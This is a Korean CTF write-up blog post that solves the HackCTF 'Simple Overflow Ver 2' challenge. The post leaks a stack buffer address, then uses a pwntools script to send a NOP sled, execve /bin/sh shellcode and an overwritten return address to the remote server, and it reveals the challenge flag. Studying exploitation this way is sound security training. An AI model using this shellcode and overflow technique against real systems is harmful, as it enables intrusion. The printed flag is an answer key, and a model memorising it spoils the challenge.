WriteUp/HackCTF

[HackCTF] Simple Overflow Ver 2

d2n0s4ur 2021. 8. 8. 14:33

 

 

 

따로 주목할만한 보호기법은 안걸려있는 모습

 

 

입력받은 데이터를 저장하는 버퍼의 주소와 입력받은 데이터를 한 문자씩 출력하는 간단한 프로그램.

 

Again을 물어보고 y를 입력으로 제공하면 다시 입력을 받을 수 있는 모습이다.

 

IDA로 확인한 BOF 취약점은 scanf에 있다. 따라서 다음과 같은 방법으로 exploit을 시도할 수 있다.

 

① 버퍼의 주소를 먼저 파악한다.

② 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어 BOF를 발생하게한다.

 

 

gdb로 뜯어보면 ret이 어디 위치에 있는지 알 수 있다.( 140 바이트 이후)

 

from pwn import *

# context.log_level = "debug"
#p = process('./Simple_overflow_ver_2')
p = remote("ctf.j0n9hyun.xyz",3006)

p.recvuntil("Data : ")
p.sendline('AAAA')

a = p.recvline()[:-11]
a = int(a, 16)

print(hex(a))

p.recvuntil("Again (y/n): ")
p.sendline('y')
p.recvuntil("Data : ")

payload = ''
payload += '\x90' * 25
payload += '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += '\x90' * (136-25-26)
payload += 'A' * 4 # sfp
payload += p32(a) # ret

p.sendline(payload)

p.interactive()

 

 

FLAG : HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

반응형